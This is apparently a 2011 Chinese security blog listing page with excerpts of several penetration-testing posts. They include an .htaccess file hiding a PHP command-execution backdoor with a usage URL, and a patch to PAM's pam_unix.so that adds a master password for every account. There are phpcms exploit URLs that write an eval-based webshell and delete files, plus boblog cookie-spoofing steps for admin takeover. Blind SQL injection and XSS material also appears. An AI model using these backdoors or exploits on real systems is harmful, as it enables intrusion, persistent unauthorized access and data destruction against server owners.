用.htaccess做更隐蔽的后门

2011年5月20日   1,677 views 3 条评论

作者:kindle

From:http://key0.cn/?p=285

万恶的引用功能,下文复制粘贴无用,请自行将双引号修改

.htaccess内容如下

#首先允许web访问这个文件
<Files ~ “^\.ht”>
Order allow,deny
Allow from all
</Files>

RedirectMatch 403 .htaccess$
#.htaccess结尾的403错误,这里是为了增加隐蔽性

AddType application/x-httpd-php .htaccess
#给.htaccess映射php拓展

### SHELL ### <?php echo “\n”;passthru($_GET['c'].” 2>&1″); ?>### KINDLE ###
#恶意的php代码

使用方法:http://localhost/.htaccess/?c=dir

分类: 渗透测试 标签: , ,

半小时精通正则表达式

2011年5月12日   1,323 views 没有评论

来源:http://hi.baidu.com/myvbscript/blog/item/3622d3fd684aaf45d7887d52.html

跟我学正则表达式!

想必很多人都对正则表达式都头疼.今天,我以我的认识,加上网上一些文章,希望用常人都可以理解的表达方式.来和大家分享学习经验.

开篇,还是得说说 ^  和  $  他们是分别用来匹配字符串的开始和结束,以下分别举例说明

“^The”: 开头一定要有”The”字符串;
“of despair$”:  结尾一定要有”of despair” 的字符串;

那么,
“^abc$”: 就是要求以abc开头和以abc结尾的字符串,实际上是只有abc匹配
“notice”: 匹配包含notice的字符串

你可以看见如果你没有用我们提到的两个字符(最后一个例子),就是说 模式(正则表达式) 可以出现在被检验字符串的任何地方,你没有把他锁定到两边

接着,说说 ‘*’, ‘+’,和 ‘?’,
他们用来表示一个字符可以出现的次数或者顺序. 他们分别表示:
“zero or more”相当于{0,},
“one or more”相当于{1,},
“zero or one.”相当于{0,1},  这里是一些例子:

“ab*”:  和ab{0,}同义,匹配以a开头,后面可以接0个或者N个b组成的字符串(“a”, “ab”, “abbb”, 等);
“ab+”: 和ab{1,}同义,同上条一样,但最少要有一个b存在 (“ab”, “abbb”, 等.);
“ab?”:和ab{0,1}同义,可以没有或者只有一个b;
“a?b+$”: 匹配以一个或者0个a再加上一个以上的b结尾的字符串.

要点, ‘*’, ‘+’,和 ‘?’只管它前面那个字符.
阅读全文…

分类: 代码审计 标签:

Backdoor on Pam module pam_unix.so

2011年5月10日   1,534 views 没有评论

来源:http://hi.baidu.com/p3rlish/blog/item/51c6b22e01c64a5d4ec22640.html

这个东西,08年的时候某牛给我讲解过一次,不过没这么通俗易懂,今天看到之后发现这个写的还是不错的,分享一下

In this article I will show you how to modify the PAM module pam_unix.so to let us log on a system (Via SSH per example) using a master password, which can be used with every login on the box.

1. Download PAM Source

ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.1.tar.gz

2. Unzip and edit the source file we are interested (pam_unix_auth.c)

tar -xvzf Linux-PAM-1.1.1.tar.gz
pico Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c

3. Search in the file the next string

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);

4. Just after these lines add the next piece of code

if (strcmp(p,”secpass”)==0 ){retval = PAM_SUCCESS;}

Where secpass is the second password (our secret password). With this modification every login with a valid user on the system will accept this password ( root inclusive).

5. Go to the main source directory to configure and compile

./configure
make

This create our needed module in modules/pam_unix/.libs/pam_unix.so 阅读全文…

分类: 渗透测试 标签:

Guidebook On Cross Site Scripting

2011年5月9日   2,156 views 1 条评论

From:http://packetstormsecurity.org/files/view/99770/ixss.txt

// Best Viewed in Notepad++ with word wrap enabled :)

A Tribute To My Mother Land

” INDIA ”
**********************************************************
We should be thankful and remember the bravery of Maharaja
Prithvi Raj Chauhan, Maharana Pratap, Chandra Shekhar Azad,
Bhagat Singh, Rajguru, Sukhdev and all those who vanished
their lives for the sake of freedom and sanctity of the
land named Hindustan (collectively India, Pakistan &
Bangladesh).

We might remember the intrepid spirit who stood an army
named “Azad Hind Fauj” from prisoners of world war II far
from India and fought for our freedom, The Great Subhash
Chandra Bose. Remember His Words of inspiration

“Tum mujhe khoon do, main tumhe azaadi doonga”

We might get inspired by their great lifestyles and follow
their thoughts.
**********************************************************

Important!… Warning!!!
The author do not take responsibility, if anyone, tries
these hacks against any organization or whatever that makes
him to trespass the security measures and brings him under
the legal prosecution. These hacks are intended for the
improvement of security and for investigations by legal
security agencies. For educational institutions it is
hereby requested that they should prevent their students
from using the tools provided in this paper against the
corporate world. This paper is the proof-of-concept and
must be treated as it is.

<|-[___________________________________________________________________________]-|>
-                                                                                     -
-                              [ Cross Site scripting  ]                              -
-                             By Ankit Anand [CrazyAnkit ]                            -
-                                                                             -
<|-[___________________________________________________ ________________________]-|>

# Written On 26 March 2011
# Author : Ankit Anand
[ koolankit1993@gmail.com , ankitthehacker.wordpress.com
# Written For Indishell.in ; Hackerz5.com ; r00tp0is0n.in
# Greetz Fly Out to :  RJ D Indian ,cyb3r_shubham , cyb3rs4m ,l0c4l r00t , LuCky , c00lt04d, reb0rn, 3thic4l n00b , darkw0lf , ne0

// Reference : Exploit-db , Aoh [Orkut] , Google ;)

–==+================================================================================+==–
–==+                     Dedicated To My Loving parents                             +==–
–==+================================================================================+==–

=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====x
Feel Free To Share This White paper , knowledge is for sharing , But Respect Author’s Hardwork . Give Proper Credits !

=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====x

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
|–( I   ]> Introduction
0×01: Introduction
0×02: Finding The xss Vulnerable Websites
0×03: Executing Xss Commands
0×04: Bypass techniques
0×05: Damages By Xss
\_ 1.) Inject a Phishing script
\_ 2.) Iframe Phishing
\_ 3.) Redirict Phishing
\_ 4.) Cookie stealing
\_ 5.) Defacing
\_ Xss Cheat Sheet
0×06 : Fixing Xss Holes
0×07:  [The End]
|_| Conclusions

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>

阅读全文…

phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞

2011年4月5日   1,559 views 5 条评论

phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞
phpcms又一个鸡肋。
by c4rp3nt3r@0x50sec.org

phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。
而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。

《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》http://www.wooyun.org/bugs/wooyun-2010-01795
已经说明了两个破解”phpcms_auth函数的加密密钥AUTH_KEY”的方法,但是还不是很理想,最理想的是直接给我们足够的明文和密文。
是的开放的phpcms真的给我们这样的了,没有保留。

上一篇说到”破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。”
其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。
来看magic_image函数,主要作用就是将字符串生成一个图片,这样做应该是为了防止别人采集网站上的数据,或者是防止泄漏隐私。

// include global.fun.php

function magic_image($txt, $fonttype = 4)
{
if(empty($txt)) return false;
if(function_exists(“imagepng”))
{
$txt = urlencode(phpcms_auth($txt, ‘ENCODE’, AUTH_KEY));
$txt = ‘‘;
}
return $txt;
}
阅读全文…

Faster Blind MySQL Injection Using Bit Shifting

2011年4月4日   1,377 views 1 条评论

Faster Blind MySQL Injection Using Bit Shifting
###
# http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html for a HTML version
# Made by Jelmer de Hen
# H.ackAck.net
#####

While strolling through mysql.com I came across this page http://dev.mysql.com/doc/refman/5.0/en/bit-functions.html.

There you can view the possibility of the bitwise function right shift.

A bitwise right shift will shift the bits 1 location to the right and add a 0 to the front.

Here is an example:

mysql> select ascii(b’00000010′);
+——————–+
| ascii(b’00000010′) |
+——————–+
| 2 |
+——————–+
1 row in set (0.00 sec)

Right shifting it 1 location will give us:

mysql> select ascii(b’00000010′) >> 1;
+————————-+
| ascii(b’00000010′) >> 1 |
+————————-+
| 1 |
+————————-+
1 row in set (0.00 sec)

It will add a 0 at the front and remove 1 character at the end.
00000010 = 2
00000010 >> 1 = 00000001
^ ^
0 shifted

So let’s say we want to find out a character of a string during blind MySQL injection and use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests.
First we split the ascii table in half and try if it’s on 1 side or the other, that leaves us ~64 possible characters.
Next we chop it in half again which will give us 32 possible characters.
Then again we get 16 possible characters.
After the next split we have 8 possible characters and from this point it’s most of the times guessing or splitting it in half again.

Let’s see if we can beat that technique by optimizing this – but first more theory about the technique I came up with.

There are always 8 bits reserved for ASCII characters.
An ASCII character can be converted to it’s decimal value as you have seen before:
阅读全文…

phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞

2011年4月4日   1,422 views 3 条评论

by c4rp3nt3r@0x50sec.org
phpcms2008 sp2 or sp4偶没仔细看
这年头发个bug伤不起啊,厂商忽略,被人当成装X,有木有,心情不爽啊不管这么多了。

phpcms本地包含拿shell的方法,这篇文章接上一个

http://www.wooyun.org/bugs/wooyun-2010-01795

《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》

phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。

由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。

admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。

公布一个本地包含秒杀拿shell的方法。

包含:admin/safe.inc.php文件GET提交一下数据

将在根目录下生成一句话
用上一篇得到的密钥$key=’sIpeofogblFVCildZEwe’;
加密如下字符串
$evil=’i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00′;

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

将在根目录下生成一句话木马

同理任意文件删除漏洞:
$evil=’i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00′;

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

阅读全文…

分类: 代码审计, 漏洞代码 标签:

phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞

2011年4月2日   1,533 views 2 条评论

phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞

by c4rp3nt3r@0x50sec.org
mail: c4rp3nt3r#gmail.com
HomePage:http://www.0x50sec.org

phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数,在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密,进入程序流程,如果我们可以控制了phpcms_auth函数的解密,我们就可以通过注射我们的恶意代码,进行攻击。
而phpcms_auth采用的是可逆的位异或算法,并且对加密的结果进行了base64编码。
对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。
对于base64编码主要是处理某些加密后的不可见字符,但是这给了我们一个很好的机会:
就是说我们破解了$key之后,我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段,或者引入引号发起其他攻击。
到此已经违背了这个程序设计的初衷,破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。

// include/global.func.php
function phpcms_auth($txt, $operation = 'ENCODE', $key = '')
{
$key    = $key ? $key : $GLOBALS['phpcms_auth_key'];
$txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt);
$len    = strlen($key);
$code    = '';

for($i=0; $i<strlen($txt); $i++){
$k        = $i % $len;    //循环使用密钥字符串对字符串逐位进行异或
$code  .= $txt[$i] ^ $key[$k];
}
$code = $operation == 'DECODE' ? $code : base64_encode($code);
return $code;
}

对于$key的破解
对于位运算的异或运算,是可逆的,明文和密钥异或得到密文。如果我们知道密文并且知道一部分明文那么我们也就可以得到密钥,有了密钥我们就可以破解另一部分密文,当然也就可以对我们自己的明文进行加密,然后用我们精心构造的密文发起攻击了。
阅读全文…

关于boblog任意变量覆盖漏洞的利用

2011年3月13日   1,502 views 3 条评论

之前的Ryat牛在《bo-blog任意变量覆盖漏洞》一文介绍了漏洞的成因,虽然没有直接给出poc或者exp,给出了一个利用可以通过data://来执行命令的方法。
但是符合条件的网站毕竟不多所以不好用,但是分析一下源码或者google一下找到个sql注射漏洞就解决了问题,通过一个注射点爆出管理员密码的md5 hash,通过暴力破解或者cookie欺骗进后台,添加管理员帐号,然后利用网上公开的那个上传的exp上传php文件,就搞定了。
但是其实根本就没有必要用那个什么上传的exp,后来可能官方已经修补了那个上传的bug,但是直接在用户管理那用户组管理那,给管理员组上传的后缀名加上php就好了。也不用添加用户,或者修改密码了,直接从正门上传php多好。

但是2.1.2 beta 2后cookie欺骗后会发现还让输入密码,问题是管理员密码破解不出来,因为大牛的安全意识都很高,用变态的密码,一度以为boblog修补了cookie漏洞。

官方:
2011/02/20 V2.1.2.0220.0 (2.1.2 beta 1)
*每次会话的首次登入后台都需要验证管理员密码。
*修改了一些过滤方法,避免某些安全问题。
*实验性的与内容长度相关的垃圾信息检测方式。

但是其实还是可以进行cookie欺骗进入后台的
只不过不仅仅要
setcookie (‘userid’, ‘userid’,);
setcookie (‘userpsw’, ‘md5密文’, );
而且要
setcookie (‘adminuserid’, ‘userid’,);
setcookie (‘adminuserpsw’, ‘md5密文’, ); 阅读全文…

浏览器差异带来的不仅仅是 XSS风险

2011年3月12日   1,244 views 没有评论

from:http://hi.baidu.com/hi_heige/blog/item/3e151db2696d9bb3d9335ac7.html

先看xeyeteam的文章《浏览器urlencode策略差异导致XSS风险》以及余先生的博文《浏览器差异带来的XSS风险1》,又是一个标准问题

当Ryat牛看到这篇文章后感同身受,就在我的上一个blog里提到的《boblog任意变量覆盖漏洞》里,在测试的时候就出现过这个问题:

『start』
// go.php

$q_url=$_SERVER["REQUEST_URI"];
@list($relativePath, $rawURL)=@explode(‘/go.php/’, $q_url);
$rewritedURL=$rawURL;

$RewriteRules[]=”/page\/([0-9]+)\/([0-9]+)\/?/”;
// 这个正则看上去很严谨,但是没有使用^和$来限制开头与结尾[可能是为了适应程序自身的需要]:)

$RedirectTo[]=”index.php?mode=\\1&page=\\2″;

foreach ($RewriteRules as $rule) {
if (preg_match($rule, $rewritedURL)) {
$tmp_rewritedURL=preg_replace($rule, ‘<’.$RedirectTo[$i].’<’, $rewritedURL, 1);
// 对$rewritedURL进行匹配和替换,并使用<来标记匹配的部分
// 经过这样的处理后$tmp_rewritedURL主要分为三部分:
// i.第一个<前面的部分
// ii.两个<之间的部分
// iii.第二个<后面的部分
$tmp_rewritedURL=@explode(‘<’, $tmp_rewritedURL);
$rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];
// 这段代码的主要目的是解决之前的正则限制不够严格的问题
// 程序员希望通过这段代码去掉i和iii,使$rewritedURL仅保留ii
// 注意这里还对iii做了限制,按照程序员的想法,iii这部分应该是不存在的:)
// 这部分代码逻辑的关键就在于<这个字符,但遗憾的是我们是可以随意注入<的:p
break;
}
$i+=1;
『end』
阅读全文…